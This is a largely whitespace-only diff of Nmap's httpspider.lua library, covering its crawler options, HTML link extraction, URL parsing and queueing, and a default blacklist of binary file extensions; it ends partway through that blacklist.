diff --git a/nselib/httpspider.lua b/nselib/httpspider.lua index 1dd5a6dac..79e0c4331 100644 --- a/nselib/httpspider.lua +++ b/nselib/httpspider.lua @@ -115,66 +115,66 @@ local PREFETCH_SIZE = 5 -- The Options class, handling all spidering options Options = { - new = function(self, options) - local o = { } + new = function(self, options) + local o = { } - -- copy all options as class members - for k, v in pairs(options) do o[k] = v end + -- copy all options as class members + for k, v in pairs(options) do o[k] = v end - -- set a few default values - o.timeout = options.timeout or 10000 - o.whitelist = o.whitelist or {} - o.blacklist = o.blacklist or {} + -- set a few default values + o.timeout = options.timeout or 10000 + o.whitelist = o.whitelist or {} + o.blacklist = o.blacklist or {} local removewww = function(url) return string.gsub(url, "^www%.", "") end - -- set up the appropriate matching functions - if ( o.withinhost ) then - o.withinhost = function(u) - local parsed_u = url.parse(tostring(u)) + -- set up the appropriate matching functions + if ( o.withinhost ) then + o.withinhost = function(u) + local parsed_u = url.parse(tostring(u)) - if ( o.base_url:getPort() ~= 80 and o.base_url:getPort() ~= 443 ) then - if ( tonumber(parsed_u.port) ~= tonumber(o.base_url:getPort()) ) then - return false - end - elseif ( parsed_u.scheme ~= o.base_url:getProto() ) then - return false - -- if urls don't match only on the "www" prefix, then they are probably the same - elseif ( parsed_u.host == nil or removewww(parsed_u.host:lower()) ~= removewww(o.base_url:getHost():lower()) ) then - return false - end - return true - end + if ( o.base_url:getPort() ~= 80 and o.base_url:getPort() ~= 443 ) then + if ( tonumber(parsed_u.port) ~= tonumber(o.base_url:getPort()) ) then + return false + end + elseif ( parsed_u.scheme ~= o.base_url:getProto() ) then + return false + -- if urls don't match only on the "www" prefix, then they are probably the same + elseif ( parsed_u.host == nil or removewww(parsed_u.host:lower()) ~= removewww(o.base_url:getHost():lower()) ) then + return false end - if ( o.withindomain ) then - o.withindomain = function(u) - local parsed_u = url.parse(tostring(u)) - if ( o.base_url:getPort() ~= 80 and o.base_url:getPort() ~= 443 ) then - if ( tonumber(parsed_u.port) ~= tonumber(o.base_url:getPort()) ) then - return false - end - elseif ( parsed_u.scheme ~= o.base_url:getProto() ) then - return false - elseif ( parsed_u.host == nil or parsed_u.host:sub(-#o.base_url:getDomain()):lower() ~= o.base_url:getDomain():lower() ) then - return false - end - return true - end + return true + end + end + if ( o.withindomain ) then + o.withindomain = function(u) + local parsed_u = url.parse(tostring(u)) + if ( o.base_url:getPort() ~= 80 and o.base_url:getPort() ~= 443 ) then + if ( tonumber(parsed_u.port) ~= tonumber(o.base_url:getPort()) ) then + return false + end + elseif ( parsed_u.scheme ~= o.base_url:getProto() ) then + return false + elseif ( parsed_u.host == nil or parsed_u.host:sub(-#o.base_url:getDomain()):lower() ~= o.base_url:getDomain():lower() ) then + return false end + return true + end + end - if (not o.doscraping) then + if (not o.doscraping) then - o.doscraping = function(u) - return true - end - end + o.doscraping = function(u) + return true + end + end - setmetatable(o, self) - self.__index = self - return o - end, + setmetatable(o, self) + self.__index = self + return o + end, - addWhitelist = function(self, func) table.insert(self.whitelist, func) end, - addBlacklist = function(self, func) table.insert(self.blacklist, func) end, + addWhitelist = function(self, func) table.insert(self.whitelist, func) end, + addBlacklist = function(self, func) table.insert(self.blacklist, func) end, } @@ -185,217 +185,217 @@ FormExtractor = { LinkExtractor = { - -- Creates a new instance of LinkExtractor - -- @return o instance of LinkExtractor - new = function(self, url, html, options) - local o = { - url = url, - html = html, - links = {}, - options = options, - } - setmetatable(o, self) - self.__index = self - o:parse() + -- Creates a new instance of LinkExtractor + -- @return o instance of LinkExtractor + new = function(self, url, html, options) + local o = { + url = url, + html = html, + links = {}, + options = options, + } + setmetatable(o, self) + self.__index = self + o:parse() - return o - end, + return o + end, - -- is the link absolute or not? - isAbsolute = function(url) - -- at this point we don't care about the protocol - -- also, we don't add // to cover stuff like: - -- feed:http://example.com/rss.xml - return ( url:match('^%w*:') ~= nil ) - end, + -- is the link absolute or not? + isAbsolute = function(url) + -- at this point we don't care about the protocol + -- also, we don't add // to cover stuff like: + -- feed:http://example.com/rss.xml + return ( url:match('^%w*:') ~= nil ) + end, - -- Creates an absolute link from a relative one based on the base_url - -- The functionality is very simple and does not take any ../../ in - -- consideration. - -- - -- @param base_url URL containing the page url from which the links were - -- extracted - -- @param rel_url string containing the relative portion of the URL - -- @return link string containing the absolute link - createAbsolute = function(base_url, rel_url, base_href) + -- Creates an absolute link from a relative one based on the base_url + -- The functionality is very simple and does not take any ../../ in + -- consideration. + -- + -- @param base_url URL containing the page url from which the links were + -- extracted + -- @param rel_url string containing the relative portion of the URL + -- @return link string containing the absolute link + createAbsolute = function(base_url, rel_url, base_href) - -- is protocol-relative? - if rel_url:match("^//") then - return ("%s%s%s"):format(base_url:getProto(), ":", rel_url) - end + -- is protocol-relative? + if rel_url:match("^//") then + return ("%s%s%s"):format(base_url:getProto(), ":", rel_url) + end - -- is relative with leading slash? ie /dir1/foo.html - local leading_slash = rel_url:match("^/") - rel_url = rel_url:match("^/?(.*)") or '/' + -- is relative with leading slash? ie /dir1/foo.html + local leading_slash = rel_url:match("^/") + rel_url = rel_url:match("^/?(.*)") or '/' - -- check for tailing slash - if ( base_href and not(base_href:match("/$") ) ) then - base_href = base_href .. '/' - end + -- check for tailing slash + if ( base_href and not(base_href:match("/$") ) ) then + base_href = base_href .. '/' + end - if ( ( base_url:getProto() == 'https' and base_url:getPort() == 443 ) or - ( base_url:getProto() == 'http' and base_url:getPort() == 80 ) ) then + if ( ( base_url:getProto() == 'https' and base_url:getPort() == 443 ) or + ( base_url:getProto() == 'http' and base_url:getPort() == 80 ) ) then - if ( leading_slash ) then - return ("%s://%s/%s"):format(base_url:getProto(), base_url:getHost(), rel_url) - else - if ( base_href ) then - return ("%s%s"):format(base_href, rel_url) - else - return ("%s://%s%s%s"):format(base_url:getProto(), base_url:getHost(), base_url:getDir(), rel_url) - end - end + if ( leading_slash ) then + return ("%s://%s/%s"):format(base_url:getProto(), base_url:getHost(), rel_url) + else + if ( base_href ) then + return ("%s%s"):format(base_href, rel_url) else - if ( leading_slash ) then - return ("%s://%s:%d/%s"):format(base_url:getProto(), base_url:getHost(), base_url:getPort(), rel_url) - else - if ( base_href ) then - return ("%s%s"):format(base_href, rel_url) - else - return ("%s://%s:%d%s%s"):format(base_url:getProto(), base_url:getHost(), base_href or base_url:getPort(), base_url:getDir(), rel_url) - end - end + return ("%s://%s%s%s"):format(base_url:getProto(), base_url:getHost(), base_url:getDir(), rel_url) end - end, - - -- Gets the depth of the link, relative to our base url eg. - -- base_url = http://www.cqure.net/wp/ - -- url = http://www.cqure.net/wp/ - depth: 0 - -- url = http://www.cqure.net/wp/index.php - depth: 0 - -- url = http://www.cqure.net/wp/2011/index.php - depth: 1 - -- url = http://www.cqure.net/index.html - depth: -1 - -- - -- @param url instance of URL - -- @return depth number containing the depth relative to the base_url - getDepth = function(self, url) - local base_dir, url_dir = self.options.base_url:getDir(), url:getDir() - if ( url_dir and base_dir ) then - local m = url_dir:match(base_dir.."(.*)") - if ( not(m) ) then - return -1 - else - local _, depth = m:gsub("/", "/") - return depth - end + end + else + if ( leading_slash ) then + return ("%s://%s:%d/%s"):format(base_url:getProto(), base_url:getHost(), base_url:getPort(), rel_url) + else + if ( base_href ) then + return ("%s%s"):format(base_href, rel_url) + else + return ("%s://%s:%d%s%s"):format(base_url:getProto(), base_url:getHost(), base_href or base_url:getPort(), base_url:getDir(), rel_url) end - end, + end + end + end, - validate_link = function(self, url) - local valid = true + -- Gets the depth of the link, relative to our base url eg. + -- base_url = http://www.cqure.net/wp/ + -- url = http://www.cqure.net/wp/ - depth: 0 + -- url = http://www.cqure.net/wp/index.php - depth: 0 + -- url = http://www.cqure.net/wp/2011/index.php - depth: 1 + -- url = http://www.cqure.net/index.html - depth: -1 + -- + -- @param url instance of URL + -- @return depth number containing the depth relative to the base_url + getDepth = function(self, url) + local base_dir, url_dir = self.options.base_url:getDir(), url:getDir() + if ( url_dir and base_dir ) then + local m = url_dir:match(base_dir.."(.*)") + if ( not(m) ) then + return -1 + else + local _, depth = m:gsub("/", "/") + return depth + end + end + end, - -- if our url is nil, abort, this could be due to a number of - -- reasons such as unsupported protocols: javascript, mail ... or - -- that the URL failed to parse for some reason - if ( url == nil or tostring(url) == nil ) then - return false + validate_link = function(self, url) + local valid = true + + -- if our url is nil, abort, this could be due to a number of + -- reasons such as unsupported protocols: javascript, mail ... or + -- that the URL failed to parse for some reason + if ( url == nil or tostring(url) == nil ) then + return false + end + + -- linkdepth trumps whitelisting + if ( self.options.maxdepth and self.options.maxdepth >= 0 ) then + local depth = self:getDepth( url ) + if ( -1 == depth or depth > self.options.maxdepth ) then + stdnse.print_debug(3, "%s: Skipping link depth: %d; b_url=%s; url=%s", LIBRARY_NAME, depth, tostring(self.options.base_url), tostring(url)) + return false + end + end + + -- withindomain trumps any whitelisting + if ( self.options.withindomain ) then + if ( not(self.options.withindomain(url)) ) then + stdnse.print_debug(2, "%s: Link is not within domain: %s", LIBRARY_NAME, tostring(url)) + return false + end + end + + -- withinhost trumps any whitelisting + if ( self.options.withinhost ) then + if ( not(self.options.withinhost(url)) ) then + stdnse.print_debug(2, "%s: Link is not within host: %s", LIBRARY_NAME, tostring(url)) + return false + end + end + + -- run through all blacklists + if ( #self.options.blacklist > 0 ) then + for _, func in ipairs(self.options.blacklist) do + if ( func(url) ) then + stdnse.print_debug(2, "%s: Blacklist match: %s", LIBRARY_NAME, tostring(url)) + valid = false + break + end + end + end + + -- check the url against our whitelist + if ( #self.options.whitelist > 0 ) then + valid = false + for _, func in ipairs(self.options.whitelist) do + if ( func(url) ) then + stdnse.print_debug(2, "%s: Whitelist match: %s", LIBRARY_NAME, tostring(url)) + valid = true + break + end + end + end + return valid + end, + + -- Parses a HTML response and extracts all links it can find + -- The function currently supports href, src and action links + -- Also all behaviour options, such as depth, white- and black-list are + -- processed in here. + parse = function(self) + local links = {} + local patterns = { + '[hH][rR][eE][fF]%s*=%s*[\'"]%s*([^"^\']-)%s*[\'"]', + '[hH][rR][eE][fF]%s*=%s*([^\'\"][^%s>]+)', + '[sS][rR][cC]%s*=%s*[\'"]%s*([^"^\']-)%s*[\'"]', + '[sS][rR][cC]%s*=%s*([^\'\"][^%s>]+)', + '[aA][cC][tT][iI][oO][nN]%s*=%s*[\'"]%s*([^"^\']+%s*)[\'"]', + } + + local base_hrefs = { + '[Bb][Aa][Ss][Ee]%s*[Hh][Rr][Ee][Ff]%s*=%s*[\'"](%s*[^"^\']+%s*)[\'"]', + '[Bb][Aa][Ss][Ee]%s*[Hh][Rr][Ee][Ff]%s*=%s*([^\'\"][^%s>]+)' + } + + local base_href + for _, pattern in ipairs(base_hrefs) do + base_href = self.html:match(pattern) + if ( base_href ) then + break + end + end + + for _, pattern in ipairs(patterns) do + for l in self.html:gmatch(pattern) do + local link = l + if ( not(LinkExtractor.isAbsolute(l)) ) then + link = LinkExtractor.createAbsolute(self.url, l, base_href) end - -- linkdepth trumps whitelisting - if ( self.options.maxdepth and self.options.maxdepth >= 0 ) then - local depth = self:getDepth( url ) - if ( -1 == depth or depth > self.options.maxdepth ) then - stdnse.print_debug(3, "%s: Skipping link depth: %d; b_url=%s; url=%s", LIBRARY_NAME, depth, tostring(self.options.base_url), tostring(url)) - return false - end + local url = URL:new(link) + + local valid = self:validate_link(url) + + if ( valid ) then + stdnse.print_debug(3, "%s: Adding link: %s", LIBRARY_NAME, tostring(url)) + links[tostring(url)] = true + elseif ( tostring(url) ) then + stdnse.print_debug(3, "%s: Skipping url: %s", LIBRARY_NAME, link) end + end + end - -- withindomain trumps any whitelisting - if ( self.options.withindomain ) then - if ( not(self.options.withindomain(url)) ) then - stdnse.print_debug(2, "%s: Link is not within domain: %s", LIBRARY_NAME, tostring(url)) - return false - end - end + for link in pairs(links) do + table.insert(self.links, link) + end - -- withinhost trumps any whitelisting - if ( self.options.withinhost ) then - if ( not(self.options.withinhost(url)) ) then - stdnse.print_debug(2, "%s: Link is not within host: %s", LIBRARY_NAME, tostring(url)) - return false - end - end + end, - -- run through all blacklists - if ( #self.options.blacklist > 0 ) then - for _, func in ipairs(self.options.blacklist) do - if ( func(url) ) then - stdnse.print_debug(2, "%s: Blacklist match: %s", LIBRARY_NAME, tostring(url)) - valid = false - break - end - end - end - - -- check the url against our whitelist - if ( #self.options.whitelist > 0 ) then - valid = false - for _, func in ipairs(self.options.whitelist) do - if ( func(url) ) then - stdnse.print_debug(2, "%s: Whitelist match: %s", LIBRARY_NAME, tostring(url)) - valid = true - break - end - end - end - return valid - end, - - -- Parses a HTML response and extracts all links it can find - -- The function currently supports href, src and action links - -- Also all behaviour options, such as depth, white- and black-list are - -- processed in here. - parse = function(self) - local links = {} - local patterns = { - '[hH][rR][eE][fF]%s*=%s*[\'"]%s*([^"^\']-)%s*[\'"]', - '[hH][rR][eE][fF]%s*=%s*([^\'\"][^%s>]+)', - '[sS][rR][cC]%s*=%s*[\'"]%s*([^"^\']-)%s*[\'"]', - '[sS][rR][cC]%s*=%s*([^\'\"][^%s>]+)', - '[aA][cC][tT][iI][oO][nN]%s*=%s*[\'"]%s*([^"^\']+%s*)[\'"]', - } - - local base_hrefs = { - '[Bb][Aa][Ss][Ee]%s*[Hh][Rr][Ee][Ff]%s*=%s*[\'"](%s*[^"^\']+%s*)[\'"]', - '[Bb][Aa][Ss][Ee]%s*[Hh][Rr][Ee][Ff]%s*=%s*([^\'\"][^%s>]+)' - } - - local base_href - for _, pattern in ipairs(base_hrefs) do - base_href = self.html:match(pattern) - if ( base_href ) then - break - end - end - - for _, pattern in ipairs(patterns) do - for l in self.html:gmatch(pattern) do - local link = l - if ( not(LinkExtractor.isAbsolute(l)) ) then - link = LinkExtractor.createAbsolute(self.url, l, base_href) - end - - local url = URL:new(link) - - local valid = self:validate_link(url) - - if ( valid ) then - stdnse.print_debug(3, "%s: Adding link: %s", LIBRARY_NAME, tostring(url)) - links[tostring(url)] = true - elseif ( tostring(url) ) then - stdnse.print_debug(3, "%s: Skipping url: %s", LIBRARY_NAME, link) - end - end - end - - for link in pairs(links) do - table.insert(self.links, link) - end - - end, - - -- Gets a table containing all of the retrieved URLs, after filtering - -- has been applied. - getLinks = function(self) return self.links end, + -- Gets a table containing all of the retrieved URLs, after filtering + -- has been applied. + getLinks = function(self) return self.links end, } @@ -404,278 +404,278 @@ LinkExtractor = { -- This class is heavily inspired by the Java URL class URL = { - -- Creates a new instance of URL - -- @param url string containing the text representation of a URL - -- @return o instance of URL, in case of parsing being successful - -- nil in case parsing fails - new = function(self, url) - local o = { - raw = url, - } + -- Creates a new instance of URL + -- @param url string containing the text representation of a URL + -- @return o instance of URL, in case of parsing being successful + -- nil in case parsing fails + new = function(self, url) + local o = { + raw = url, + } - setmetatable(o, self) - self.__index = self - if ( o:parse() ) then - return o + setmetatable(o, self) + self.__index = self + if ( o:parse() ) then + return o + end + end, + + -- Parses the string representation of the URL and splits it into different + -- URL components + -- @return status true on success, false on failure + parse = function(self) + self.proto, self.host, self.port, self.file = self.raw:match("^(http[s]?)://([^:/]*)[:]?(%d*)") + if ( self.proto and self.host ) then + self.file = self.raw:match("^http[s]?://[^:/]*[:]?%d*(/[^#]*)") or '/' + self.port = tonumber(self.port) + if ( not(self.port) ) then + if ( self.proto:match("https") ) then + self.port = 443 + elseif ( self.proto:match("http")) then + self.port = 80 end - end, + end - -- Parses the string representation of the URL and splits it into different - -- URL components - -- @return status true on success, false on failure - parse = function(self) - self.proto, self.host, self.port, self.file = self.raw:match("^(http[s]?)://([^:/]*)[:]?(%d*)") - if ( self.proto and self.host ) then - self.file = self.raw:match("^http[s]?://[^:/]*[:]?%d*(/[^#]*)") or '/' - self.port = tonumber(self.port) - if ( not(self.port) ) then - if ( self.proto:match("https") ) then - self.port = 443 - elseif ( self.proto:match("http")) then - self.port = 80 - end - end + self.path = self.file:match("^([^?]*)[%?]?") + self.dir = self.path:match("^(.+%/)") or "/" + self.domain= self.host:match("^[^%.]-%.(.*)") + return true + elseif( self.raw:match("^javascript:") ) then + stdnse.print_debug(2, "%s: Skipping javascript url: %s", LIBRARY_NAME, self.raw) + elseif( self.raw:match("^mailto:") ) then + stdnse.print_debug(2, "%s: Skipping mailto link: %s", LIBRARY_NAME, self.raw) + else + stdnse.print_debug(2, "%s: WARNING: Failed to parse url: %s", LIBRARY_NAME, self.raw) + end + return false + end, - self.path = self.file:match("^([^?]*)[%?]?") - self.dir = self.path:match("^(.+%/)") or "/" - self.domain= self.host:match("^[^%.]-%.(.*)") - return true - elseif( self.raw:match("^javascript:") ) then - stdnse.print_debug(2, "%s: Skipping javascript url: %s", LIBRARY_NAME, self.raw) - elseif( self.raw:match("^mailto:") ) then - stdnse.print_debug(2, "%s: Skipping mailto link: %s", LIBRARY_NAME, self.raw) - else - stdnse.print_debug(2, "%s: WARNING: Failed to parse url: %s", LIBRARY_NAME, self.raw) - end - return false - end, + -- Get's the host portion of the URL + -- @return host string containing the hostname + getHost = function(self) return self.host end, - -- Get's the host portion of the URL - -- @return host string containing the hostname - getHost = function(self) return self.host end, + -- Get's the protocol representation of the URL + -- @return proto string containing the protocol (ie. http, https) + getProto = function(self) return self.proto end, - -- Get's the protocol representation of the URL - -- @return proto string containing the protocol (ie. http, https) - getProto = function(self) return self.proto end, + -- Returns the filename component of the URL. + -- @return file string containing the path and query components of the url + getFile = function(self) return self.file end, - -- Returns the filename component of the URL. - -- @return file string containing the path and query components of the url - getFile = function(self) return self.file end, + -- Gets the port component of the URL + -- @return port number containing the port of the URL + getPort = function(self) return self.port end, - -- Gets the port component of the URL - -- @return port number containing the port of the URL - getPort = function(self) return self.port end, + -- Gets the path component of the URL + -- @return the full path and filename of the URL + getPath = function(self) return self.path end, - -- Gets the path component of the URL - -- @return the full path and filename of the URL - getPath = function(self) return self.path end, + -- Gets the directory component of the URL + -- @return directory string containing the directory part of the URL + getDir = function(self) return self.dir end, - -- Gets the directory component of the URL - -- @return directory string containing the directory part of the URL - getDir = function(self) return self.dir end, + -- Gets the domain component of the URL + -- @return domain string containing the hosts domain + getDomain = function(self) + if ( self.domain ) then + return self.domain + -- fallback to the host, if we can't find a domain + else + return self.host + end + end, - -- Gets the domain component of the URL - -- @return domain string containing the hosts domain - getDomain = function(self) - if ( self.domain ) then - return self.domain - -- fallback to the host, if we can't find a domain - else - return self.host - end - end, - - -- Converts the URL to a string - -- @return url string containing the string representation of the url - __tostring = function(self) return self.raw end, + -- Converts the URL to a string + -- @return url string containing the string representation of the url + __tostring = function(self) return self.raw end, } -- An UrlQueue UrlQueue = { - -- creates a new instance of UrlQueue - -- @param options table containing options - -- @return o new instance of UrlQueue - new = function(self, options) - local o = { - urls = {}, - options = options - } - setmetatable(o, self) - self.__index = self - return o - end, + -- creates a new instance of UrlQueue + -- @param options table containing options + -- @return o new instance of UrlQueue + new = function(self, options) + local o = { + urls = {}, + options = options + } + setmetatable(o, self) + self.__index = self + return o + end, - -- get's the next available url in the queue - getNext = function(self) - return table.remove(self.urls,1) - end, + -- get's the next available url in the queue + getNext = function(self) + return table.remove(self.urls,1) + end, - -- adds a new url to the queue - -- @param url can be either a string or a URL or a table of URLs - add = function(self, url) - assert( type(url) == 'string' or type(url) == 'table', "url was neither a string or table") - local urls = ( 'string' == type(url) ) and URL:new(url) or url + -- adds a new url to the queue + -- @param url can be either a string or a URL or a table of URLs + add = function(self, url) + assert( type(url) == 'string' or type(url) == 'table', "url was neither a string or table") + local urls = ( 'string' == type(url) ) and URL:new(url) or url - -- if it's a table, it can be either a single URL or an array of URLs - if ( 'table' == type(url) and url.raw ) then - urls = { url } - end + -- if it's a table, it can be either a single URL or an array of URLs + if ( 'table' == type(url) and url.raw ) then + urls = { url } + end - for _, u in ipairs(urls) do - u = ( 'string' == type(u) ) and URL:new(u) or u - if ( u ) then - table.insert(self.urls, u) - else - stdnse.print_debug("ERROR: Invalid URL: %s", url) - end - end - end, + for _, u in ipairs(urls) do + u = ( 'string' == type(u) ) and URL:new(u) or u + if ( u ) then + table.insert(self.urls, u) + else + stdnse.print_debug("ERROR: Invalid URL: %s", url) + end + end + end, - -- dumps the contents of the UrlQueue - dump = function(self) - for _, url in ipairs(self.urls) do - print("url:", url) - end - end, + -- dumps the contents of the UrlQueue + dump = function(self) + for _, url in ipairs(self.urls) do + print("url:", url) + end + end, } -- The Crawler class Crawler = { - options = {}, + options = {}, - removewww = function(url) return string.gsub(url, "^www%.", "") end, + removewww = function(url) return string.gsub(url, "^www%.", "") end, - -- An ultity when defining closures. Checks if the resource exists within host. - -- @param u URL that points to the resource we want to check. - iswithinhost = function(self, u) - local parsed_u = url.parse(tostring(u)) - if ( self.options.base_url:getPort() ~= 80 and self.options.base_url:getPort() ~= 443 ) then - if ( tonumber(parsed_u.port) ~= tonumber(self.options.base_url:getPort()) ) then - return false - end - elseif ( parsed_u.scheme ~= self.options.base_url:getProto() ) then - return false + -- An ultity when defining closures. Checks if the resource exists within host. + -- @param u URL that points to the resource we want to check. + iswithinhost = function(self, u) + local parsed_u = url.parse(tostring(u)) + if ( self.options.base_url:getPort() ~= 80 and self.options.base_url:getPort() ~= 443 ) then + if ( tonumber(parsed_u.port) ~= tonumber(self.options.base_url:getPort()) ) then + return false + end + elseif ( parsed_u.scheme ~= self.options.base_url:getProto() ) then + return false -- if urls don't match only on the "www" prefix, then they are probably the same - elseif ( parsed_u.host == nil or self.removewww(parsed_u.host:lower()) ~= self.removewww(self.options.base_url:getHost():lower()) ) then - return false - end - return true - end, + elseif ( parsed_u.host == nil or self.removewww(parsed_u.host:lower()) ~= self.removewww(self.options.base_url:getHost():lower()) ) then + return false + end + return true + end, - -- An ultity when defining closures. Checks if the resource exists within domain. - -- @param u URL that points to the resource we want to check. - iswithindomain = function(self, u) - local parsed_u = url.parse(tostring(u)) - if ( self.options.base_url:getPort() ~= 80 and self.options.base_url:getPort() ~= 443 ) then - if ( tonumber(parsed_u.port) ~= tonumber(self.options.base_url:getPort()) ) then - return false - end - elseif ( parsed_u.scheme ~= self.options.base_url:getProto() ) then - return false - elseif ( parsed_u.host == nil or parsed_u.host:sub(-#self.options.base_url:getDomain()):lower() ~= self.options.base_url:getDomain():lower() ) then - return false - end - return true - end, + -- An ultity when defining closures. Checks if the resource exists within domain. + -- @param u URL that points to the resource we want to check. + iswithindomain = function(self, u) + local parsed_u = url.parse(tostring(u)) + if ( self.options.base_url:getPort() ~= 80 and self.options.base_url:getPort() ~= 443 ) then + if ( tonumber(parsed_u.port) ~= tonumber(self.options.base_url:getPort()) ) then + return false + end + elseif ( parsed_u.scheme ~= self.options.base_url:getProto() ) then + return false + elseif ( parsed_u.host == nil or parsed_u.host:sub(-#self.options.base_url:getDomain()):lower() ~= self.options.base_url:getDomain():lower() ) then + return false + end + return true + end, - -- An ultity when defining closures. Checks the type of the resource. - -- @param u URL that points to the resource we want to check. - -- @param ext the extension of the resource. - -- @param signs table of signs that may exist after the extension of the resource. - isresource = function(self, u, ext, signs) - u = tostring(u) + -- An ultity when defining closures. Checks the type of the resource. + -- @param u URL that points to the resource we want to check. + -- @param ext the extension of the resource. + -- @param signs table of signs that may exist after the extension of the resource. + isresource = function(self, u, ext, signs) + u = tostring(u) - if string.match(u, "." .. ext .. "$") then - return true - end + if string.match(u, "." .. ext .. "$") then + return true + end - local signstring = "" - if signs then - for _, s in signs do - signstring = signstring .. s - end - signstring:gsub('?', '%?') - else - signstring = "#%?" - end + local signstring = "" + if signs then + for _, s in signs do + signstring = signstring .. s + end + signstring:gsub('?', '%?') + else + signstring = "#%?" + end - return string.match(u, "." .. ext .. "[" .. signstring .. "]" .. "[^.]*$") + return string.match(u, "." .. ext .. "[" .. signstring .. "]" .. "[^.]*$") - end, + end, - -- creates a new instance of the Crawler instance - -- @param host table as received by the action method - -- @param port table as received by the action method - -- @param url string containing the relative URL - -- @param options table of options: - -- noblacklist - do not load default blacklist - -- base_url - start url to crawl - -- timeout - timeout for the http request - -- maxdepth - the maximum directory depth to crawl - -- maxpagecount - the maximum amount of pages to retrieve - -- withinhost - stay within the host of the base_url - -- withindomain - stay within the base_url domain - -- doscraping - Permit scraping - -- scriptname - should be set to SCRIPT_NAME to enable - -- script specific arguments. - -- redirect_ok - redirect_ok closure to pass to http.get function - -- no_cache - no_cache option to pass to http.get function - -- @return o new instance of Crawler or nil on failure - new = function(self, host, port, url, options) - local o = { - host = host, - port = port, - url = url, - options = options or {}, - basethread = stdnse.base(), - } + -- creates a new instance of the Crawler instance + -- @param host table as received by the action method + -- @param port table as received by the action method + -- @param url string containing the relative URL + -- @param options table of options: + -- noblacklist - do not load default blacklist + -- base_url - start url to crawl + -- timeout - timeout for the http request + -- maxdepth - the maximum directory depth to crawl + -- maxpagecount - the maximum amount of pages to retrieve + -- withinhost - stay within the host of the base_url + -- withindomain - stay within the base_url domain + -- doscraping - Permit scraping + -- scriptname - should be set to SCRIPT_NAME to enable + -- script specific arguments. + -- redirect_ok - redirect_ok closure to pass to http.get function + -- no_cache - no_cache option to pass to http.get function + -- @return o new instance of Crawler or nil on failure + new = function(self, host, port, url, options) + local o = { + host = host, + port = port, + url = url, + options = options or {}, + basethread = stdnse.base(), + } - setmetatable(o, self) - self.__index = self + setmetatable(o, self) + self.__index = self - self.options = o + self.options = o - o:loadScriptArguments() - o:loadLibraryArguments() - o:loadDefaultArguments() + o:loadScriptArguments() + o:loadLibraryArguments() + o:loadDefaultArguments() - local response = http.get(o.host, o.port, '/', { timeout = o.options.timeout, redirect_ok = o.options.redirect_ok, no_cache = o.options.no_cache } ) + local response = http.get(o.host, o.port, '/', { timeout = o.options.timeout, redirect_ok = o.options.redirect_ok, no_cache = o.options.no_cache } ) - if ( not(response) or 'table' ~= type(response) ) then - return - end + if ( not(response) or 'table' ~= type(response) ) then + return + end - o.url = o.url:match("/?(.*)") + o.url = o.url:match("/?(.*)") - local u_host = o.host.targetname or o.host.name - if ( not(u_host) or 0 == #u_host ) then - u_host = o.host.ip - end - local u = ("%s://%s:%d/%s"):format(response.ssl and "https" or "http", u_host, o.port.number, o.url) - o.options.base_url = URL:new(u) - o.options = Options:new(o.options) - o.urlqueue = UrlQueue:new(o.options) - o.urlqueue:add(o.options.base_url) + local u_host = o.host.targetname or o.host.name + if ( not(u_host) or 0 == #u_host ) then + u_host = o.host.ip + end + local u = ("%s://%s:%d/%s"):format(response.ssl and "https" or "http", u_host, o.port.number, o.url) + o.options.base_url = URL:new(u) + o.options = Options:new(o.options) + o.urlqueue = UrlQueue:new(o.options) + o.urlqueue:add(o.options.base_url) - o.options.timeout = o.options.timeout or 10000 - o.processed = {} + o.options.timeout = o.options.timeout or 10000 + o.processed = {} - -- script arguments have precedense - if ( not(o.options.maxdepth) ) then - o.options.maxdepth = tonumber(stdnse.get_script_args("httpspider.maxdepth")) - end + -- script arguments have precedense + if ( not(o.options.maxdepth) ) then + o.options.maxdepth = tonumber(stdnse.get_script_args("httpspider.maxdepth")) + end - -- script arguments have precedense - if ( not(o.options.maxpagecount) ) then - o.options.maxpagecount = tonumber(stdnse.get_script_args("httpspider.maxpagecount")) - end + -- script arguments have precedense + if ( not(o.options.maxpagecount) ) then + o.options.maxpagecount = tonumber(stdnse.get_script_args("httpspider.maxpagecount")) + end - if ( not(o.options.noblacklist) ) then - o:addDefaultBlacklist() - end + if ( not(o.options.noblacklist) ) then + o:addDefaultBlacklist() + end if ( o.options.useheadfornonwebfiles ) then -- Load web files extensitons from a file in nselib/data folder. @@ -690,109 +690,109 @@ Crawler = { end end - stdnse.print_debug(2, "%s: %s", LIBRARY_NAME, o:getLimitations()) + stdnse.print_debug(2, "%s: %s", LIBRARY_NAME, o:getLimitations()) - return o - end, + return o + end, - -- Set's the timeout used by the http library - -- @param timeout number containing the timeout in ms. - set_timeout = function(self, timeout) - self.options.timeout = timeout - end, + -- Set's the timeout used by the http library + -- @param timeout number containing the timeout in ms. + set_timeout = function(self, timeout) + self.options.timeout = timeout + end, - -- Get's the amount of pages that has been retrieved - -- @return count number of pages retrieved by the instance - getPageCount = function(self) - local count = 1 - for url in pairs(self.processed) do - count = count + 1 + -- Get's the amount of pages that has been retrieved + -- @return count number of pages retrieved by the instance + getPageCount = function(self) + local count = 1 + for url in pairs(self.processed) do + count = count + 1 + end + return count + end, + + -- Adds a default blacklist blocking binary files such as images, + -- compressed archives and executable files + addDefaultBlacklist = function(self) + local extensions = { + image_extensions = {"png","jpg","jpeg","gif","bmp"}, + video_extensions = {"avi","flv","ogg","mp4","wmv"}, + audio_extensions = {"aac","m4a","mp3","wav"}, + doc_extensions = {"pdf", "doc", "docx", "docm", "xls", "xlsx", "xlsm", + "ppt", "pptx", "pptm", "odf", "ods", "odp", "ps", "xps"}, + archive_extensions = {"zip", "tar.gz", "gz", "rar", "7z", "sit", "sitx", + "tgz", "tar.bz", "tar", "iso"}, + exe_extensions = {"exe", "com", "msi", "bin","dmg"} + } + local blacklist = {} + for _, cat in pairs(extensions) do + for _, ext in ipairs(cat) do + table.insert(blacklist, string.format(".%s$", ext)) + end + end + + self.options:addBlacklist( function(url) + local p = url:getPath():lower() + for _, pat in ipairs(blacklist) do + if ( p:match(pat) ) then + return true + end end - return count - end, + end ) + end, - -- Adds a default blacklist blocking binary files such as images, - -- compressed archives and executable files - addDefaultBlacklist = function(self) - local extensions = { - image_extensions = {"png","jpg","jpeg","gif","bmp"}, - video_extensions = {"avi","flv","ogg","mp4","wmv"}, - audio_extensions = {"aac","m4a","mp3","wav"}, - doc_extensions = {"pdf", "doc", "docx", "docm", "xls", "xlsx", "xlsm", - "ppt", "pptx", "pptm", "odf", "ods", "odp", "ps", "xps"}, - archive_extensions = {"zip", "tar.gz", "gz", "rar", "7z", "sit", "sitx", - "tgz", "tar.bz", "tar", "iso"}, - exe_extensions 